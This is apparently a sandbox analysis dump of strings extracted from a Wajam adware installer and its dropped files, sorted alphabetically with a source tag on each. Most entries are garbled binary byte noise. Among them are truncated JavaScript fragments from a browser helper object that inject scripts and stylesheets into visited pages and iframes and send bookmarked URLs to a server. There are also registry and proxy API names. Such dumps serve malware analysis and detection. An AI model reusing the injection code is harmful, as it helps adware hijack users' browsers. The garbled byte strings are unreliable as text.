eeeeeeeeeeeeeeeeeeeeeeedddddddeeeedddddddeeeeeeeeeeeeddddddddedddddeeddddddeeeeeeeeeeeddddddddedddddeeedddddeeeeedddddeeeedddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedcbcdddcbcddbcdddcbcddeeeeeeeddcbcddddbbccddccddcdddcbddeeeeeeeedbbcddddbbccddccedccdccdeeeccddbddeedbdddbdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedcdq[\rdaef<w1gbddeeeeedcbeqa}6mb2Ifba/Blccdeeeeedbcg-dx/ehB1bccl^sy bdecb50ddddbm

Ansi based on Dropped File (nsqE177.tmp)

PreConnectLimit

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

PreCreate

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

preferences.get('user_current_mapping_version');if (old_user_current_mapping_version) {str += priam.background.trace.add(method_name,'User current mapping version (client-side): '+old_user_current_mapping_version);// Compare newly received flag //user onlyif (old_user_current_mapping_version != user_current_mapping_version) {str += priam.background.trace.add(method_name,'Different user current mapping version, updating mapping list');priam.background.events.onEventPriamUpdateMappingList();}else {str += priam.background.trace.add(method_name, 'Same user current mapping version, don\'t update');}}else {str += priam.background.trace.add(method_name,'No old user mapping version');}str += priam.background.trace.add(method_name,'Saving user current mapping version');priam.background.preferences.set('user_current_mapping_version',user_current_mapping_version);}el

Ansi based on Dropped File (priam_bho.dll.1505483275)

preferences.set('server_current_mapping_version',version);}}}}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}});}}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name,'');}};priam.background.util = {isValidAffiliateId: function(affiliate_id) {var method_name = 'isValidAffiliateId';var isValidAffiliateId = false;try {if ( affiliate_id !== null && affiliate_id !== undefined && !isNaN(affiliate_id) && affiliate_id.length === 4) {isValidAffiliateId = true;}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}return isValidAffiliateId;},isValidUniqueId: function(unique_id) {var method_name = 'isValidUniqueId';var isValidUniqueId = false;try {if (unique_id !==

Ansi based on Dropped File (priam_bho.dll.1505483275)

PreferExternalManifest

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

PreferredUILanguages

Unicode based on Runtime Data (WajamUpdater.exe )

prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \'callDestinationMethod\'');}priam.Events.onEventCallDestinationMethod(e);},false,true);function checkDocumentComplete(_document) {var str = '';var method_name = 'checkDocumentComplete';if (_document.readyState=='complete') {str += priam.Trace.add(method_name,'Document complete, location: '+_document.location);try {// Check for iframe in documentvar iframes = _document.getElementsByTagName('iframe');var iframesLength = iframes.length;str += priam.Trace.add(method_name,'Found '+iframesLength+' iframes');for (var i=0; i<iframesLength; i++) {var iframe = iframes.item(i);if (iframe.contentWindow) {var iframe_document = iframe.contentWindow.document;str += 'iframe_document: '+iframe

Ansi based on Dropped File (priam_bho.dll.1505483275)

PreResolveLimit

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

priam.Preferences.get('debug_show_bookmarks', function(response) {var debug_show_bookmarks = response.value;if (debug_show_bookmarks == 'true') {priam.ext.show('(debug_show_bookmarks)\n'+'priamBookmarkAddedOrModified\n\n'+'url\n'+urlAdded);}});priam.Util.priamSendAjaxRequest({method: 'GET',url: urlAdded,onload: function(xhr) {}});str += priam.Trace.add(method_name,'url: '+urlAdded);}}); //CHECK 'bmAutoSync' IMPORT PREFERENCE}});}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);}function priamBookmarkDeleted(url, title) {var method_name = 'priamBookmarkDeleted';var str = '';try {//PROCESS ONLY IF USER IS LOGGEDpriam.Preferences.get( 'logged', function(response) {var isLogged = response.value;if( isLogged ==

Ansi based on Dropped File (priam_bho.dll.1505483275)

priam.Preferences.set( 'logged', 'true' );str += priam.Trace.add(method_name,'logged set to \'true\'');//UPDATE IMPORT BOOKMARK FLAG FROM SERVERstr += priam.Trace.add(method_name,'Calling getFlagInfo');priam.Preferences.getFlagInfo(null);}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},onEventJustLoggedOut: function() {var method_name = 'onEventJustLoggedOut';var str = '';try {priam.Preferences.set( 'logged', 'false' );str += priam.Trace.add(method_name,'logged set to \'false\'');}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},onEventPriamUpdateMappingList: function(_document) {var str = '';var method_name = 'onEventPriamUpdateMappingList';try {priam.Browser.messageManager.sendRequest('update_mapping_list',{},function(response){if (!response.error) {

Ansi based on Dropped File (priam_bho.dll.1505483275)

priam.Trace.add(method_name,'Append script \''+new_script.id+'\'');head_elem.appendChild(new_script);// end of settimeout for checking headclearTimeout(handleTimeout);// Developer Flag debug_show_inserted_scriptsvar debug_show_inserted_scripts = prefs['debug_show_inserted_scripts'];if (debug_show_inserted_scripts == 'true') {priam.ext.show('(debug_show_inserted_scripts)\n'+'insertScript\n\n'+'id: \''+id+'\'\n'+'appendChild');}}else {handleTimeout = setTimeout(insertHead,10);}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name, str );}insertHead();}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug

Ansi based on Dropped File (priam_bho.dll.1505483275)

priam_bho

Unicode based on Dropped File (priam_bho.dll.1505483275)

priam_bho.DLL

Ansi based on Dropped File (priam_bho.dll.1505483275)

priam_bho.dll

Unicode based on Dropped File (priam_bho.dll.1505483275)

priam_icon_48x48.pngPK}lDplugins/PriamNPAPI.dllPKKf=={js/background.jsPKDt|K-1js/priam.jsPKXRjs/priam_background.jsPK~umSjs/priam_chrome.jsPKOhtml/background.htmlPKMZP@!L!This program must be run under Win32

Ansi based on Dropped File (nsqE177.tmp)

PrivateBuild

Ansi based on Dropped File (MoreInfo.dll.4230172058)

Process32First

Ansi based on Dropped File (ExecCmd.dll.1695374911)

Process32Next

Ansi based on Dropped File (ExecCmd.dll.1695374911)

ProductName

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ProductVersion

Ansi based on Dropped File (MoreInfo.dll.4230172058)

ProfileImagePath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProfilesDirectory

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Program Files

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Program Files\Internet Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00423000.00000004.mdmp)

Program: ]A@@bad allocation Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`EH`udt returning'`copy constructor closure'`eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'`local static guard'`typeof'`vcall'`vbtable'`vftable'^=|=&=<<=>>=%=/=-=+=*=||&&|^~(),>=><=<%/->*&+---++*->operator[]!===!<<>>= delete new__unaligned__restrict__ptr64__eabi__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(GAGAGAGAGAGAGAxGApGAdGAXGAUGAPGAHGADGA@GA<GA8GA4GA0GA,GA GAGAGAGAGAGAGAGAGAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAFAxFA`FATFA@FA FAFAEAEAEA|EA`EA<EAEADADADADADADADADAtDAdDAHDA(DADACACACAhCADCA CABABABAUGABA|BAhBAHBA,BA ((((( H h(((( H H

Ansi based on Dropped File (nsqE177.tmp)

ProgramFilesDir

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProviderId

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProviderInfo

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Proxy Error (407)

Ansi based on Dropped File (inetc.dll.1181384010)

Proxy-authorization: basic %s

Ansi based on Dropped File (inetc.dll.1181384010)

ProxyBypass

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProxyEnable

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProxyHttp1.1

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProxyOverride

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ProxyServer

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Ps&Yff^VjFjPf,f0f4^VFP0AN,^UVW~W0AN0E;1x-;uvW0A$}N,4jjjh0AW0A3_^]V\@N8FFF

Ansi based on Dropped File (nsqE177.tmp)

PSFactoryBuffer

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

PSNSYYEE PjyYYU=lAuBuAh/>YY]jXh`bAEP`1A395AuVVjV\1AMZf9@tu6<@@PEuf9@ut@v39@M9ujSY.ujBY.ZuWyj@Y`0AAmWhAVyj?YrTyj?Yj=Y;tP?YTEtMj

Ansi based on Dropped File (nsqE177.tmp)

PSuu@u>EEPEVPSuu@u}t}tu@^[]t$h$@t$@UQMSVW39-E

Ansi based on Dropped File (nsqE177.tmp)

pt(path_key, script_id, url,document);});}else {priam.Page.insertScript(document,script_id,script,force_update);str += priam.Trace.add(method_name,'Inserted script '+(j+1)+'/'+script_array_length+' - id:\''+script_id);}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}});}}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},insertCSS: function(_document,css_id,css_url) {var method_name = 'insertCSS';var str = '';try {// The css link that will be added/updatedvar new_script = _document.createElement('link');new_script.id = css_id;new_script.type = 'text/css';new_script.rel = 'stylesheet';new_script.href = css_url;var elemScript = _document.getElementById(css_id);str += priam.Trace.add(method_name,'url: '+_document.locatio

Ansi based on Dropped File (priam_bho.dll.1505483275)

pts'];priam.Preferences.get(local_keys, function(response){prefs = response.value;if (priam.isUninstalling !== undefined && priam.isUninstalling === 'true') {return;}var debug_show_dom_load = prefs['debug_show_dom_load'];if (debug_show_dom_load == 'true') {priam.ext.show('(debug_show_dom_load)\n'+'processDOMLoad\n\n'+'DOMLoad'+'\n\n'+'_document:\n'+_document+'\n'+'location: '+_document.location);}str += priam.Trace.add(method_name,'Checking: '+_document.location);try {var mappingListJsonString = prefs['mappingListJsonString'];// Developer Flag debug_reload_mapping_listvar debug_reload_mapping_list = prefs['debug_reload_mapping_list'];if (debug_reload_mapping_list == 'true') {mappingListJsonString = null;}if (mappingListJsonString !== null) { // mappingList FOUNDvar mappingList = null;try {mappingList = JSON.parse(mappingL

Ansi based on Dropped File (priam_bho.dll.1505483275)

Pu<@Ft!FEFtPD@EPH@FF3^UE

Ansi based on Dropped File (nsqE177.tmp)

Pu@VChu8@S@5P@jjh[SC@h}P@PjhCShjhES%BW

Ansi based on Dropped File (nsqE177.tmp)

Publisher

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

PublishExpandedPath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

pure virtual function call

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

PuT@vuP@FFEtPEF_t

Ansi based on Dropped File (nsqE177.tmp)

PWSYYf;t?

Ansi based on Dropped File (nsqE177.tmp)

Px/+EE+Aa|TGph0REK.)'cc\>:te38`/88(a@K;p1lt2XJkY5d%_:atPP]n^XY|t=J:#z5!{eR_K?(N2L^Q/g~(PV:kU-{u3RMx2p]i_veP?ME)>3F>]%Sl'|m\|S<XUkJZbLEky+9,l)+L<!tj"dK]kzPLxx

Ansi based on Dropped File (nsqE177.tmp)

PYAhA 1A;3A

Ansi based on Dropped File (nsqE177.tmp)

pyy%PhFF-{')];Y|~+S/

Ansi based on Dropped File (nsqE177.tmp)

PYYuu=Yt;QWPA3;@8^tCESPPjWE4AtESPuPu@@Yhu@SShhu@=]WtH_Phu@P@=]WtH_Phu@P@=]jVu

Ansi based on Dropped File (nsqE177.tmp)

PZfDZP@1SVWt;_^[UjjRPEPQjje]URPEPQjj-]SVWUP$_n}(VD$L$|T$I,VL$\}3]_^[RZ1t!R:

Ansi based on Dropped File (nsqE177.tmp)

p}nn>eV\_}+ps5[+~\BaRn|5w\Au0xZ~;c~1z1_5u95+wTTRz155UkJu?pkt|

Ansi based on Dropped File (nsqE177.tmp)

Q.G^RztNbj0~8<i{sj=C6

Ansi based on Dropped File (nsqE177.tmp)

q3c:%F1N"6V1X .W-U*T.Q1Q-T

Ansi based on Dropped File (nsqE177.tmp)

Q8aO*z@T2<[sQE+O/!"1R}528a!@QjB-n}'OS~/-Vot;/Z9l'J1+@[HD$O<P/#4mqRF@&774,ks;AyG\r0&s9s<~

Ansi based on Dropped File (nsqE177.tmp)

q<:#<x>5N[4tt5Bgh0-o';Y7rg?Y(hW467aJ<B{#,~"4KDkz

Ansi based on Dropped File (nsqE177.tmp)

Q@@SVWUQ$]$PV;SS;uCCFF;Cu

Ansi based on Dropped File (nsqE177.tmp)

Q@Q@Q@Q@ Q@(Q@0Q@8Q@@Q@HQ@PQ@XQ@`Q@hQ@pQ@xQ@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@R@R@R@R@ R@(R@dej<U@U@U@V@V@PW@W@\X@Y@tY@(Z@Y@Z@Z@Z@Z@Z@Z@Z@T@[@[@Y @@(@Q@P@O@hQ@Q@R@8Q@(@P@ R@@Q@ Q@O@R@Q@R@@O@pP@O@@Q@O@xP@P@Q@@Q@P@@pQ@@@O@Q@PP@XP@Q@O@P@P@P@`Q@P@Q@P@O@xQ@Q@P@Q@HQ@Q@O@(P@Q@8P@Q@0P@Q@ @P@P@R@O@O@P@Q@Q@D@Q@P@P@0Q@P@PQ@(R@Q@HP@O@`P@P@P@XQ@P@Q@hP@@P@ P@P@(Q@p4t~TDX`

Ansi based on Dropped File (nsqE177.tmp)

Q`EWW0|XGCai:PKDt|K-1js/priam.js=ks3'*EG=g6smjhHq~x.@l{<m$bXE0w(9u`JGoWNvoH

Ansi based on Dropped File (nsqE177.tmp)

QA`[L:Y6PT]wUr+/^Ppg){^0#)o4G^Zo7e+&_@[g5Xu&R^ps k

Ansi based on Dropped File (nsqE177.tmp)

QepKt3e_`6AF4=Mt5Snuj}

Ansi based on Dropped File (nsqE177.tmp)

QH++PPVh1A;j(P+P5P$4|1At(;0AD;\,+48;E?Q(Qu448|1At(D80AD8ulDt-j^9Du/70?D;Y1$D@t48u3$ 8+0[M_3^jhcA]u x;Ar y<AD0tS]WYeD0tuuSnE' MEEz]SWYUEu]@]USVuF3u@t9FW>+~,WPVYP;uFyFN _Ff^[]UVuuV5Y/V|YtF@tV=PXYY3^]jh cAG3}}jCY}3u;5AA98t^@tVPVYY3BUAHt/9UuPJYtE9}utP/YuE}F3uA4VYYE}EtEj8BYjYUWVuM};v;r=AtWV;^_u?Xur)$@r$@$@$@@@@d@#FGFGr$@I#FGr$@#r$@I@@@@@@@@DDDDDDDDDDDDDD$@@@@(@E^_E^_FGE^_IFGFGE^_t1|9u$r

Ansi based on Dropped File (nsqE177.tmp)

qLAj.}{fw`{=mvS~k~ybP6=3CCrLC`^Hs<

Ansi based on Dropped File (nsqE177.tmp)

qp[/g`qVxglxE7k

Ansi based on Dropped File (nsqE177.tmp)

qQ!j?BNhsjhy#`p_HGefQI8]`^'8yX,v9>J^S^l-27Yyj1a`U??YL1_#H0QJ{w_(-$Pc`9-f\!dW_h*ZQ.}xo96"!hZmsnZMX4E+D

Ansi based on Dropped File (nsqE177.tmp)

qqqpv054446~)rpqqqqgoIPS^m

Ansi based on Dropped File (nsqE177.tmp)

QQQSSSSSSsss000VVVIII000OOOmmm(((:::FFFmmm[[[:::kkkTTTPPPVVVHHHNNNgggxxxmmmvvvFFFnnnnnnoooyyyrrrwwwKKKiiihhhZZZ xxxrrrrrrwwwjjjmmmhhhuuunnnuuu```yyyiiiFFFKKK'''___444:::OOO/4

Ansi based on Dropped File (nsqE177.tmp)

QrI~ %gCb(.If8Lw@'=W`(Q0u

Ansi based on Dropped File (nsqE177.tmp)

QtCaMv/=f&4Y{9>^?NM ^9

Ansi based on Dropped File (nsqE177.tmp)

Query failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

QueryPerformanceCounter

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

QueryServiceConfig2A

Ansi based on Dropped File (SimpleSC.dll.523064890)

QueryServiceConfig2W

Ansi based on Dropped File (SimpleSC.dll.523064890)

qvX2yVOv<Q&nc9P_b6_Y~**Z_xTjZ4fiiER,76Rid;C2^]>"S\M8kX8JtZ_w\mol=o#"Sp&n|

Ansi based on Dropped File (nsqE177.tmp)

Q|.V ow&uQHs+z

Ansi based on Dropped File (nsqE177.tmp)

r += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.justLoggedIn+'\'');_document.addEventListener( priam.Config.event_name.justLoggedOut, priam.listener.on_just_logged_out,true);str += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.justLoggedOut+'\'');}// Listener for Bookmark Synchronizationvar listenerBmAutoSyncValue = siteObject.listener_sync_bookmarks;str += '\n'+'listenerBmAutoSyncValue: '+listenerBmAutoSyncValue;if (listenerBmAutoSyncValue === true) {// Listener to turn syncing flag on_document.addEventListener( priam.Config.event_name.bmAutoSyncOn, priam.listener.on_bm_auto_sync_on,true);str += priam.Trace.add(method_name,'Added listener: \''+priam.Config.event_name.bmAutoSyncOn+'\'');// Listener to turn syncing flag off_document.addEventListener( priam.Config.event_name.bmAutoSyncOff, priam.listener.on_bm_auto_sync_off,true);str += priam.Trace.a

Ansi based on Dropped File (priam_bho.dll.1505483275)

r not installed

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

r#@B[BRPylCPr[tV>#u'[yoMo1Fl-zl{q_w]?M`V!M71?8moOM^@lc7|FD{yGGC.ft-dGdC <92IVHvLXX>y2B 60K]DOcY<bzDV$[{@;f |O [&qr^\rP$uH!P'm\

Ansi based on Dropped File (nsqE177.tmp)

R$G&(gbZH)<1=<G/dd8t;|W}\9{o_#[aD@P4YrCH{"@ f@.TA7O#

Ansi based on Dropped File (nsqE177.tmp)

r*l,J<GMmy.

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

R+p.o'a1Z$D"<(

Ansi based on Dropped File (nsqE177.tmp)

R3V/^lLOz;YZ

Ansi based on Dropped File (nsqE177.tmp)

R6002- floating point support not loaded

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6008- not enough space for arguments

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6009- not enough space for environment

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6016- not enough space for thread data

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6017- unexpected multithread lock error

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6018- unexpected heap error

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6019- unable to open console device

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6024- not enough space for _onexit/atexit table

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6025- pure virtual function call

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6026- not enough space for stdio initialization

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6027- not enough space for lowio initialization

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6028- unable to initialize heap

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6030- CRT not initialized

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6032- not enough space for locale information

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.

Ansi based on Dropped File (IpConfig.dll.3460457498)

R6034An application has made an attempt to load the C runtime library incorrectly.Please contact the application's support team for more information.

Ansi based on Dropped File (IpConfig.dll.3460457498)

r91Y-p_If(O)1+%$Bmq6Zl^wH~72kjVZmAUaob2L

Ansi based on Dropped File (nsqE177.tmp)

R= APSt$ D$(QhVPt/H_tUPD$t$VhVP<@D(P=]t

Ansi based on Dropped File (nsqE177.tmp)

R@ >@``.`0X9l00fb>8t}=@;

Ansi based on Dropped File (nsqE177.tmp)

r@19:@njei\5Th^![}ui/E\^*@e]^<JIy>)5G-w6)>9hGkLN^p

Ansi based on Dropped File (nsqE177.tmp)

r`>*3@T,Y|-1jACX8|X}imTCcCO_s}b}kMwa^ul5}Vy7gy=hO~;!|-Os&[-.jp

Ansi based on Dropped File (nsqE177.tmp)

RaiseException

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

RAkSAjZ;Q

Ansi based on Dropped File (nsqE177.tmp)

ram Files\Internet Explorer\iexplore.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

reat minds search alike.

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ReceiveTimeOut

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Reconnect Pause

Ansi based on Dropped File (inetc.dll.1181384010)

Redirection

Ansi based on Dropped File (inetc.dll.1181384010)

RedrawWindow

Ansi based on Dropped File (inetc.dll.1181384010)

RegCloseKey

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegCompany

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

RegCreateKeyExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegCreateKeyExW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

RegCreateKeyTransactedW

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

RegDeleteKeyA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegDeleteKeyExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegDeleteKeyExW

Ansi based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

RegDeleteKeyTransactedW

Ansi based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

RegDeleteKeyW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

RegDeleteValueA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegDeleteValueW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

RegEnumKeyA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegEnumKeyExW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

RegEnumValueA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Reget Error

Ansi based on Dropped File (inetc.dll.1181384010)

RegisterClassA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegisterEventSourceW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Registering: %PROGRAMFILES%\Wajam\IE\priam_bho.dll

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.00401000.00000020.mdmp)

RegisterServiceCtrlHandlerW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

RegisterTypeLibForUser

Ansi based on Dropped File (priam_bho.dll.1505483275)

RegOpenKeyExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegOpenKeyExW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

RegOpenKeyTransactedW

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

RegQueryInfoKeyW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

RegQueryValueExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegQueryValueExW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

RegServer

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

RegServerPerUser

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

RegSetValueExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

RegSetValueExW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

RelativePath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Remaining time

Unicode based on Dropped File (inetc.dll.1181384010)

Remaining timeP07

Ansi based on Dropped File (nsqE177.tmp)

